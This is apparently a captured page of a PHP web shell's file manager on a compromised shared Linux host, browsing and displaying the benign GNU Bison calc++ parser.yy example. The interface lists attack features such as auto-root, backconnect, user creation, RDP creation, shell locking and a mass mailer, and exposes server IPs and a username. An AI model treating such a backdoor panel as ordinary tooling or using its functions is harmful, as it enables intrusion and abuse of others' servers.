Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.13
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
bison /
examples /
c++ /
calc++ /
[ HOME SHELL ]
Name
Size
Permission
Action
Makefile
723
B
-rw-r--r--
README.md
1.63
KB
-rw-r--r--
calc++.cc
1.19
KB
-rw-r--r--
driver.cc
1.17
KB
-rw-r--r--
driver.hh
1.64
KB
-rw-r--r--
parser.yy
1.99
KB
-rw-r--r--
scanner.ll
5.26
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : parser.yy
/* Parser for calc++. -*- C++ -*- Copyright (C) 2005-2015, 2018-2021 Free Software Foundation, Inc. This file is part of Bison, the GNU Compiler Compiler. This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <https://www.gnu.org/licenses/>. */ %skeleton "lalr1.cc" // -*- C++ -*- %require "3.8.2" %header %define api.token.raw %define api.token.constructor %define api.value.type variant %define parse.assert %code requires { # include <string> class driver; } // The parsing context. %param { driver& drv } %locations %define parse.trace %define parse.error detailed %define parse.lac full %code { # include "driver.hh" } %define api.token.prefix {TOK_} %token ASSIGN ":=" MINUS "-" PLUS "+" STAR "*" SLASH "/" LPAREN "(" RPAREN ")" ; %token <std::string> IDENTIFIER "identifier" %token <int> NUMBER "number" %nterm <int> exp %printer { yyo << $$; } <*>; %% %start unit; unit: assignments exp { drv.result = $2; }; assignments: %empty {} | assignments assignment {}; assignment: "identifier" ":=" exp { drv.variables[$1] = $3; }; %left "+" "-"; %left "*" "/"; exp: "number" | "identifier" { $$ = drv.variables[$1]; } | exp "+" exp { $$ = $1 + $3; } | exp "-" exp { $$ = $1 - $3; } | exp "*" exp { $$ = $1 * $3; } | exp "/" exp { $$ = $1 / $3; } | "(" exp ")" { $$ = $2; } %% void yy::parser::error (const location_type& l, const std::string& m) { std::cerr << l << ": " << m << '\n'; }
Close